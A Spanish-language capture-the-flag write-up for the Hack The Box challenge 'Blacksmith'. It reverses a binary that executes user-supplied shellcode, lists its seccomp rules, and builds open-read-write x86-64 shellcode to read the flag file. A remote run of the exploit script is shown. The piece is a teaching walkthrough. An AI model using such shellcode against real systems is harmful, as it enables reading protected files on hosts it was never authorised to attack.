Blacksmith
8 minutos de lectura
Se nos proporciona un binario de 64 bits llamado blacksmith:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Si lo abrimos en Ghidra, veremos esta función main:
void main() {
size_t length;
long in_FS_OFFSET;
int answer;
int option;
char *message_1;
char *message_2;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
message_1 = "You are worthy to carry this Divine Weapon and bring peace to our homeland!\n";
message_2 = "This in not a weapon! Do not try to mock me!\n";
puts("Traveler, I need some materials to fuse in order to create something really powerful!");
printf("Do you have the materials I need to craft the Ultimate Weapon?\n1. Yes, everything is here! \n2. No, I did not manage to bring them all!\n> ");
__isoc99_scanf("%d", &answer);
if (answer != 1) {
puts("Farewell traveler! Come back when you have all the materials!");
/* WARNING: Subroutine does not return */
exit(0x22);
}
printf(&menu);
__isoc99_scanf("%d", &option);
sec();
if (option == 1) {
sword();
} else if (option == 2) {
shield();
} else if (option == 3) {
bow();
} else {
length = strlen(message_2);
write(1, message_2, length);
/* WARNING: Subroutine does not return */
exit(0x105);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Muestra un menú con varias opciones:
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 2
Farewell traveler! Come back when you have all the materials!
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 1
This sword can cut through anything! The only thing is, that it is too heavy carry it..
zsh: invalid system call ./blacksmith
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 3
This bow's range is the best!
Too bad you do not have enough materials to craft some arrows too..
zsh: invalid system call ./blacksmith
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
Excellent choice! This luminous shield is empowered with Sun's light! ☀
It will protect you from any attack and it can reflect enemies attacks back!
Do you like your new weapon?
> yes
zsh: segmentation fault ./blacksmith
La única opción en la que podemos introducir datos es shield (opción 2):
void shield() {
size_t length;
long in_FS_OFFSET;
undefined shellcode [72];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
length = strlen(message);
write(1, message, length);
length = strlen("Do you like your new weapon?\n> ");
write(1, "Do you like your new weapon?\n> ", length);
read(0, shellcode, 63);
(*(code *) shellcode)();
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Básicamente, tenemos la oportunidad de introducir instrucciones en código máquina para que se ejecuten. Podemos introducir hasta 63 bytes. Sin embargo, estamos limitados por sec, que implementa reglas seccomp para permitir instrucciones syscall específicas:
void sec() {
undefined8 rules;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
prctl(0x26, 1);
prctl(4, 0);
rules = seccomp_init(0);
seccomp_rule_add(rules, 0x7fff0000, 2, 0);
seccomp_rule_add(rules, 0x7fff0000, 0, 0);
seccomp_rule_add(rules, 0x7fff0000, 1, 0);
seccomp_rule_add(rules, 0x7fff0000, 0x3c, 0);
seccomp_load(rules);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Para enumerar estas reglas seccomp, podemos usar seccomp-tools:
$ seccomp-tools dump ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
Entonces, nos permiten usar sys_read, sys_write, sys_open y sys_exit. Existen varias páginas web en las que se listan todas las instrucciones syscall de Linux x86_64 con los parámetros y registros necesarios. Por ejemplo, esta.
Con las instrucciones syscall permitidas, podemos abrir el archivo de la flag (flag.txt) con sys_open, leer el descriptor de archivo con sys_read y escribir su contenido al descriptor de archivo stdout con sys_write. Adicionalmente, podemos salir con sys_exit.
Entonces, sys_openat necesita la siguiente configuración de registros:
$rax = 2$rditiene un puntero al nombre del archivo$rsitiene unas flags$rdxtiene el modo de operación (este se puede omitir)
Específicamente, podemos mirar en man7.org y aprender más sobre el significado de los parámetros:
int open(const char *pathname, int flags);
Una vez que tengamos sys_open configurado, recibiremos el descriptor de archivo del archivo de la flag como valor de retorno en $rax. Aquí será cuando usemos sys_read:
$rax = 0$rditiene el descriptor de archivo (el que devuelvesys_open)$rsitiene la dirección en la que se guardarán los contenidos leídos$rdxtiene el número de bytes a leer (por ejemplo,100)
ssize_t read(int fd, void *buf, size_t count);
Finalmente, escribiremos el contenido a stdout mediante sys_write:
$rax = 1$rditiene el descriptor de archivo (1parastdout)$rsitiene la dirección desde la que se cogerán los contenidos a escribir$rdxtiene el número de bytes a escribir (por ejemplo,100)
ssize_t write(int fd, const void *buf, size_t count);
Para gente que nunca ha escrito en ensamblador, puede ser útil escribir un programa en C con la configuración anterior, compilarlo y analizar el código ensamblador generado:
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
void main() {
int fd;
char data[256];
fd = open("./flag.txt", O_RDONLY);
read(fd, data, 100);
write(1, data, 100);
exit(0);
}
$ gcc test.c -O3 -o test
test.c: In function ‘main’:
test.c:10:2: warning: ignoring return value of ‘read’, declared with attribute warn_unused_result [-Wunused-result]
10 | read(fd, data, 100);
| ^~~~~~~~~~~~~~~~~~~
test.c:11:2: warning: ignoring return value of ‘write’, declared with attribute warn_unused_result [-Wunused-result]
11 | write(1, data, 100);
| ^~~~~~~~~~~~~~~~~~~
$ ./test
HTB{f4k3_fl4g_f0r_t3st1ng}
Ese es el código ensamblador generado (optimizado debido a la opción -O3 de gcc). Este shellcode se conoce con el nombre de open-read-write:
$ objdump -M intel --disassemble=main test
test: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .plt.sec:
Disassembly of section .text:
00000000000010c0 <main>:
10c0: f3 0f 1e fa endbr64
10c4: 55 push rbp
10c5: 31 f6 xor esi,esi
10c7: 48 8d 3d 36 0f 00 00 lea rdi,[rip+0xf36] # 2004 <_IO_stdin_used+0x4>
10ce: 48 81 ec 10 01 00 00 sub rsp,0x110
10d5: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
10dc: 00 00
10de: 48 89 84 24 08 01 00 mov QWORD PTR [rsp+0x108],rax
10e5: 00
10e6: 31 c0 xor eax,eax
10e8: 48 89 e5 mov rbp,rsp
10eb: e8 b0 ff ff ff call 10a0 <open@plt>
10f0: ba 64 00 00 00 mov edx,0x64
10f5: 48 89 ee mov rsi,rbp
10f8: 89 c7 mov edi,eax
10fa: e8 91 ff ff ff call 1090 <read@plt>
10ff: bf 01 00 00 00 mov edi,0x1
1104: ba 64 00 00 00 mov edx,0x64
1109: 48 89 ee mov rsi,rbp
110c: e8 6f ff ff ff call 1080 <write@plt>
1111: 31 ff xor edi,edi
1113: e8 98 ff ff ff call 10b0 <exit@plt>
Disassembly of section .fini:
Esto está bien, pero ahora hay que hacer lo mismo con instrucciones syscall:
push rsi
mov rdi, 'flag.txt' # as hexadecimal number
push rdi
mov rdi, rsp
mov al, 2
syscall
mov dl, 0x64
mov rsi, rsp
xor edi, eax
xor al, al
syscall
mov al, 1
mov rdi, rax
syscall
mov al, 0x3c
syscall
Nótese cómo puse $rdi como puntero a "flag.txt\0", y también cómo los registros para sys_write siguen configurados de la anterior instrucción sys_read. También, optimicé el uso de los registros para que el shellcode generado fuera más corto.
Si introducimos el shellcode anterior en el programa blacksmith, obtendremos la flag:
$ python3 solve.py 134.209.26.70:31965
[*] './blacksmith'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 134.209.26.70 on port 31965: Done
[+] HTB{s3cc0mp_1s_t00_s3cur3}
[*] Closed connection to 134.209.26.70 port 31965
El exploit completo se puede encontrar aquí: solve.py.